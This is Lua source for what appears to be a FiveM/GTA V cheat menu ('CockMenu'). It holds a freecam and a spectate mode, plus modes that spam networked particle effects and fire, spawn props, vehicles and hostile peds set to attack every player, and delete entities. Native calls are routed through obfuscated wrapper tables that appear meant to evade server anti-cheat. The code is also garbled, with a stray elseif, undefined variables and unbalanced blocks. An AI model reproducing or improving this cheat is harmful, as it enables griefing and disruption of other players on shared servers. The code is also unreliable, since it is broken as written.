local fakeobj = 0
local freecam_cam_rot = Fatasf.n.GetCamRot(freecam_cam,
2)
freecam_cam = freecam_cam
if not freecam_cam ~= nil then
freecam_cam =
Fatasf.n.CreateCam('DEFAULT_SCRIPTED_Camera', 1)
end
if not cam ~= nil then
cam = Fatasf.n.CreateCam("DEFAULT_SCRIPTED_Camera",
1)
freecamcam = cam
end
Fatasf.n.RenderScriptCams(1, 0, 0, 1, 1)
Fatasf.n.SetCamActive(cam, true)
while Fatasf.n.DoesCamExist(freecamcam) do
CockT.Inv["Wait"](0)
Fatasf.n.SetTextOutline();
Functions.f.DrawTextTest('.', false, 0.4, 0, 0.5, 0.482)
CockT.Inv["Invoke"](CockT.Natives['SetHdArea'],
camCoords.x, camCoords.y, camCoords.z, 50.0)
speedMultiplier = 3.0
elseif Fatasf.n.IsDisabledControlPressed(0, 36)
then
speedMultiplier = 0.025
else
speedMultiplier = 0.25
end
if Fatasf.n.IsDisabledControlPressed(0, 32)
then
local newCamPos = camCoords + forward *
speedMultiplier
Fatasf.n.SetCamCoord(cam, newCamPos.x,
newCamPos.y, newCamPos.z)
end
if Fatasf.n.IsDisabledControlPressed(0, 33)
then
local newCamPos = camCoords + forward *
-speedMultiplier
Fatasf.n.SetCamCoord(cam, newCamPos.x,
newCamPos.y, newCamPos.z)
end
if Fatasf.n.IsDisabledControlPressed(0, 34)
then
local newCamPos = camCoords + v3 *
-speedMultiplier
Fatasf.n.SetCamCoord(cam, newCamPos.x,
newCamPos.y, newCamPos.z)
end
if Fatasf.n.IsDisabledControlPressed(0, 30)
then
local newCamPos = camCoords + v3 *
speedMultiplier
Fatasf.n.SetCamCoord(cam, newCamPos.x,
newCamPos.y, newCamPos.z)
end
if (Fatasf.n.IsDisabledControlPressed(1, 21))
then -- SHIFT
z = z + (0.1 * 2.5)
end
if (Fatasf.n.IsDisabledControlPressed(1, 36))
then -- LEFT CTRL
z = z - (0.1 * 0.5)
end
CockT.Inv["Invoke"]
(CockT.Natives['SetFocusArea'], Fatasf.n.GetCamCoord(cam).x,
Fatasf.n.GetCamCoord(cam).y, Fatasf.n.GetCamCoord(cam).z, 0.0, 0.0, 0.0)
Fatasf.n.SetCamRot(cam, offsetRotX, offsetRotY,
offsetRotZ, 2)
local entity =
CockT.Global.GetEntityInFrontOfCam()
if entity ~= 0 and
Fatasf.n.DoesEntityExist(entity) and GetEntityType(entity) ~= 0 or nil then
CockT.Global.DrawLineBox(entity, 8, 214,
101, 255)
end
local hit, Markerloc =
Fatasf.n.RayCastCam(5000.0)
Functions.f.DrawTextTest('~c~[~g~CockMenu~c~]
~s~Freecam mode: ~r~'..currentmode, false, 0.35, 0, 0.5, 0.957)
CockT.Inv["Thread"](function()
while w do
CockT.Inv["Wait"](0)
fov = fov - 0.1
CockT.Inv["Invoke"]
(CockT.Natives['SetCamFov'], cam, fov)
end
end)
end
if Fatasf.n.IsDisabledControlPressed(0, 0) then
local w = true
local fov = 70.0
CockT.Inv["Thread"](function()
while w do
CockT.Inv["Wait"](0)
if fov < 70.0 then
fov = fov + 0.1
end
CockT.Inv["Invoke"]
(CockT.Natives['SetCamFov'], cam, fov)
end
end)
end
if Fatasf.n.IsDisabledControlJustPressed(1,
CockT.Keys["RIGHT"]) then
CockT.Global.FreecamMode =
CockT.Global.FreecamMode + 1
if CockT.Global.FreecamMode >
#CockT.Global.FreecamModes then
CockT.Global.FreecamMode = 1
end
end
if Fatasf.n.IsDisabledControlJustPressed(1,
CockT.Keys["LEFT"]) then
CockT.Global.FreecamMode =
CockT.Global.FreecamMode - 1
if CockT.Global.FreecamMode < 1 then
CockT.Global.FreecamMode =
#CockT.Global.FreecamModes
end
end
--Cock.Menu.modes
if currentmode == 'Particle Spam' then
if Fatasf.n.IsDisabledControlPressed(0, 24)
and not CockT.display_menu then
local gox_dict = "core"
Fatasf.n.RequestNamedPtfxAsset(gox_dict)
while not
Fatasf.n.HasNamedPtfxAssetLoaded(gox_dict) do
CockT.Inv["Wait"](10)
end
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord("veh_light_amber",Markerloc.x,Mar
kerloc.y,Markerloc.z,0,0,0,10.0,0,0,0)
Fatasf.n.UseParticleFxAsset(gox_dict)
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord("td_blood_shotgun",Markerloc.x,Ma
rkerloc.y,Markerloc.z,0,0,0,10.0,0,0,0)
Fatasf.n.UseParticleFxAsset(gox_dict)
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord("veh_respray_smoke",Markerloc.x,M
arkerloc.y,Markerloc.z,0,0,0,10.0,0,0,0)
Fatasf.n.RequestNamedPtfxAsset(gox_dict2)
while not
Fatasf.n.HasNamedPtfxAssetLoaded(gox_dict2) do
CockT.Inv["Wait"](10)
end
Fatasf.n.UseParticleFxAsset(gox_dict2)
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord("scr_clown_appears",Markerloc.x ,
Markerloc.y,Markerloc.z,0,0,0,10.0,0,0,0)
end
end
if currentmode == 'Teleport' then
if Fatasf.n.IsDisabledControlPressed(0, 24)
and not CockT.display_menu then
local CurrentShootingMode =
CockT.Global.ShootingModes[CockT.Global.CurrentShooting]
local weapon =
Fatasf.n.GetHashKey(CurrentShootingMode)
Functions.f.DrawTextTest('~s~Selected
weapon: ~r~'..CurrentShootingMode, false, 0.35, 0, 0.5, 0.94)
if Fatasf.n.IsDisabledControlJustPressed(0,
14) then
CockT.Global.CurrentShooting =
CockT.Global.CurrentShooting + 1
if CockT.Global.CurrentShooting >
#CockT.Global.ShootingModes then
CockT.Global.CurrentShooting = 1
end
end
if Fatasf.n.IsDisabledControlJustPressed(0,
15) then
CockT.Global.CurrentShooting =
CockT.Global.CurrentShooting - 1
if CockT.Global.CurrentShooting < 1 then
CockT.Global.CurrentShooting =
#CockT.Global.ShootingModes
end
end
if Fatasf.n.IsDisabledControlJustPressed(0,
24) then
CockT.Inv["Invoke"]
(CockT.Natives['RequestWeaponAsset'], weapon)
while not
Fatasf.n.HasWeaponAssetLoaded(weapon) do
CockT.Inv["Wait"](0)
end
if Fatasf.n.IsDisabledControlJustPressed(0,
24) and not CockT.display_menu then
if proptospawn ~= nil then
local objhash =
Fatasf.n.GetHashKey(proptospawn)
Fatasf.n.CreateObject(objhash,
Markerloc.x, Markerloc.y, Markerloc.z, true, true, true)
else
local objhash =
Fatasf.n.GetHashKey('prop_atm_01')
Fatasf.n.CreateObject(objhash,
Markerloc.x, Markerloc.y, Markerloc.z, true, true, true)
end
end
end
if entity ~= 0 and
Fatasf.n.DoesEntityExist(entity) and GetEntityType(entity) ~= 0 or nil then
if
Fatasf.n.IsDisabledControlJustPressed(0, 24) then
CockT.Global.DeleteEntity(entity)
end
end
end
if currentmode == "Place fire" then
if Fatasf.n.IsDisabledControlPressed(0, 24)
and not CockT.display_menu then
local gox_dict = "core"
Fatasf.n.RequestNamedPtfxAsset(gox_dict)
while not
Fatasf.n.HasNamedPtfxAssetLoaded(gox_dict) do
CockT.Inv["Wait"](10)
end
Fatasf.n.UseParticleFxAsset(gox_dict)
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord( "ent_sht_petrol_fire",
Markerloc.x, Markerloc.y, Markerloc.z, 0, 0, 0, 8.0, 0, 0, 0)
end
end
if currentmode == "Shit spawner" then
local props = {
"prop_tree_olive_cr2",
"prop_a4_sheet_03",
"prop_byard_ramp",
"prop_abat_roller_static",
"prop_byard_rampold",
"prop_afsign_vbike",
"prop_jetski_ramp_01",
"prop_aircon_l_02",
"prop_air_chock_04", "prop_battery_01",
"prop_bar_napkindisp",
"prop_bar_pump_04",
"prop_billboard_07", "prop_box_ammo07b",
}
if Fatasf.n.IsDisabledControlJustPressed(0,
24) then
local randomprop =
props[CockT.Math.random(#props)]
local _a =
Fatasf.n.GetHashKey(randomprop)
Fatasf.n.CreateObject(_a, Markerloc.x,
Markerloc.y, Markerloc.z, true, true, true)
end
end
if currentmode == "Ped spawner" then
local peds = {
"a_f_m_beach_01", "a_f_m_business_02",
"a_f_m_bevhills_01",
"a_f_y_business_04",
"a_f_m_bevhills_02", "a_f_y_fitness_02",
"a_f_m_bodybuild_01",
"a_f_y_tourist_01",
"a_m_m_acult_01", "a_m_m_genfat_01",
"a_m_m_hillbilly_01",
"a_m_m_paparazzi_01",
"a_m_m_og_boss_01", "a_m_m_soucent_01",
}
if Fatasf.n.IsDisabledControlJustPressed(0,
24) then
local random_ped =
peds[CockT.Math.random(#peds)]
local _1 =
Fatasf.n.GetHashKey(random_ped)
local _2 =
Fatasf.n.GetHashKey(random_ped)
Fatasf.n.RequestModel(_1)
Fatasf.n.RequestModel(_2)
while not Fatasf.n.HasModelLoaded(_1)
and not Fatasf.n.HasModelLoaded(_2) do
CockT.Inv["Wait"](1)
end
for k, v in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local player =
Fatasf.n.GetPlayerPed(v)
CockT.Inv["Invoke"]
(CockT.Natives['SetPlayerAngry'], ped, true)
CockT.Inv["Invoke"]
(CockT.Natives['SetPlayerAngry'], ped_2, true)
CockT.Inv["Invoke"]
(CockT.Natives['TaskCombatPed'], ped, player, 0, 16)
CockT.Inv["Invoke"]
(CockT.Natives['TaskCombatPed'], ped_2, player, 0, 16)
end
end
end
if Fatasf.n.IsDisabledControlJustPressed(0,
24) then
if vehtospawn ~= nil then
local wa =
Fatasf.n.GetHashKey(vehtospawn)
Fatasf.n.RequestModel(wa)
while not
Fatasf.n.HasModelLoaded(wa) do
CockT.Inv["Wait"](0)
end
Fatasf.n.CreateVehicle(wa,
Markerloc.x, Markerloc.y, Markerloc.z, 0.0, true, false)
else
local var =
Fatasf.n.GetHashKey("adder")
Fatasf.n.RequestModel(var)
while not
Fatasf.n.HasModelLoaded(var) do
CockT.Inv["Wait"](0)
end
Fatasf.n.CreateVehicle(var,
Markerloc.x, Markerloc.y, Markerloc.z, 0.0, true, false)
end
end
end
end
end
end
end
if Cock.Menu.Spectate then
Fatasf.n.FreezeEntityPosition(Fatasf.n.PlayerPedId(), true)
spectate_cam = spectate_cam
if not spectate_cam ~= nil then
spectate_cam =
Fatasf.n.CreateCam("DEFAULT_SCRIPTED_Camera", 1)
end
Fatasf.n.RenderScriptCams(1, 0, 0, 1, 1)
Fatasf.n.SetCamActive(spectate_cam, true)
local coords =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer))
Fatasf.n.SetCamCoord(spectate_cam, coords.x, coords.y,
coords.z + 3)
local offsetRotX = 0.0
local offsetRotY = 0.0
local offsetRotZ = 0.0
local weapondelay = 0
while Fatasf.n.DoesCamExist(spectate_cam) do
CockT.Inv["Wait"](0)
if not Cock.Menu.Spectate then
Fatasf.n.DestroyCam(spectate_cam, false)
Fatasf.n.ClearTimecycleModifier()
Fatasf.n.RenderScriptCams(false, false, 0, 1, 0)
Fatasf.n.FreezeEntityPosition(Fatasf.n.PlayerPedId(), false)
Fatasf.n.SetFocusEntity(Fatasf.n.PlayerPedId())
break
end
local playerPed =
Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer)
local playerRot = Fatasf.n.GetEntityRotation(playerPed,
2)
Fatasf.n.SetCamCoord(spectate_cam, coords_ES.x,
coords_ES.y, coords_ES.z + 4.5)
if not Displayed then
CockT.Inv["Invoke"](CockT.Natives['SetFocusArea'],
Fatasf.n.GetCamCoord(spectate_cam).x, Fatasf.n.GetCamCoord(spectate_cam).y,
Fatasf.n.GetCamCoord(spectate_cam).z,0.0,0.0,0.0)
Fatasf.n.SetCamRot(spectate_cam, offsetRotX,
offsetRotY, offsetRotZ, 2)
end
end
end
end
end)
end
CockT.Global.pyQp3fKQUcjMbISJDSSy = function()
end
end)
-- bäärs#3150
-- discord.gg/sPHW7CTTZj